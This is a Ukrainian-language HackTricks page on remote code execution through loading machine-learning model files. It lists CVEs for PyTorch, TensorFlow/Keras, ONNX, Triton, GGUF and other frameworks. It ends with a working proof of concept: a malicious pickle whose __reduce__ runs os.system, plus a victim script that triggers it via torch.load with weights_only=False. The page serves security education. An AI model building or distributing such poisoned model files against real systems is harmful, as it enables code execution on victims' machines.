hacktricks/src/AI/AI-Models-RCE.md
2025-06-08 23:45:23 +00:00

8.3 KiB
Raw Blame History

Models RCE

{{#include ../banners/hacktricks-training.md}}

Завантаження моделей до RCE

Моделі машинного навчання зазвичай поширюються в різних форматах, таких як ONNX, TensorFlow, PyTorch тощо. Ці моделі можуть бути завантажені на комп'ютери розробників або в продукційні системи для їх використання. Зазвичай моделі не повинні містити шкідливий код, але є випадки, коли модель може бути використана для виконання довільного коду на системі як передбачена функція або через вразливість у бібліотеці завантаження моделі.

На момент написання це деякі приклади цього типу вразливостей:

Фреймворк / Інструмент Вразливість (CVE, якщо доступно) RCE Вектор Посилання
PyTorch (Python) Небезпечна десеріалізація в torch.load (CVE-2025-32434) Шкідливий pickle в контрольній точці моделі призводить до виконання коду (обхід захисту weights_only)
PyTorch TorchServe ShellTorch CVE-2023-43654, CVE-2022-1471 SSRF + завантаження шкідливої моделі викликає виконання коду; десеріалізація Java RCE в API управління
TensorFlow/Keras CVE-2021-37678 (небезпечний YAML)
CVE-2024-3660 (Keras Lambda)
Завантаження моделі з YAML використовує yaml.unsafe_load (виконання коду)
Завантаження моделі з Lambda шаром виконує довільний Python код
TensorFlow (TFLite) CVE-2022-23559 (парсинг TFLite) Сформована .tflite модель викликає переповнення цілого числа → пошкодження купи (потенційний RCE)
Scikit-learn (Python) CVE-2020-13092 (joblib/pickle) Завантаження моделі через joblib.load виконує pickle з навантаженням __reduce__ зловмисника
NumPy (Python) CVE-2019-6446 (небезпечний np.load) суперечливий numpy.load за замовчуванням дозволяє завантаження об'єктних масивів шкідливий .npy/.npz викликає виконання коду
ONNX / ONNX Runtime CVE-2022-25882 (перехід директорії)
CVE-2024-5187 (перехід tar)
Зовнішній шлях ваг моделі ONNX може вийти за межі директорії (читання довільних файлів)
Шкідлива модель ONNX tar може перезаписати довільні файли (призводячи до RCE)
ONNX Runtime (ризик дизайну) (Немає CVE) Користувацькі операції ONNX / контрольний потік Модель з користувацьким оператором вимагає завантаження рідного коду зловмисника; складні графи моделей зловживають логікою для виконання непередбачених обчислень
NVIDIA Triton Server CVE-2023-31036 (перехід шляху) Використання API завантаження моделі з увімкненим --model-control дозволяє відносний перехід шляху для запису файлів (наприклад, перезапис .bashrc для RCE)
GGML (формат GGUF) CVE-2024-25664 … 25668 (багато переповнень купи) Неправильний файл моделі GGUF викликає переповнення буфера купи в парсері, що дозволяє виконання довільного коду на системі жертви
Keras (старі формати) (Немає нових CVE) Спадковий Keras H5 модель Шкідлива HDF5 (.h5) модель з кодом Lambda шару все ще виконується при завантаженні (режим безпеки Keras не охоплює старий формат “атака з пониження”)
Інші (загальні) Недолік дизайну серіалізація Pickle Багато ML інструментів (наприклад, формати моделей на основі pickle, Python pickle.load) виконуватимуть довільний код, вбудований у файли моделей, якщо не вжити заходів

Більше того, є деякі моделі на основі python pickle, такі як ті, що використовуються PyTorch, які можуть бути використані для виконання довільного коду на системі, якщо їх не завантажити з weights_only=True. Отже, будь-яка модель на основі pickle може бути особливо вразливою до цього типу атак, навіть якщо вони не вказані в таблиці вище.

Приклад:

  • Створіть модель:
# attacker_payload.py
import torch
import os

class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")
  • Завантажте модель:
# victim_load.py
import torch
import torch.nn as nn

class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)

model = MyModel()

# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))

# /tmp/pwned.txt is created even if you get an error

{{#include ../banners/hacktricks-training.md}}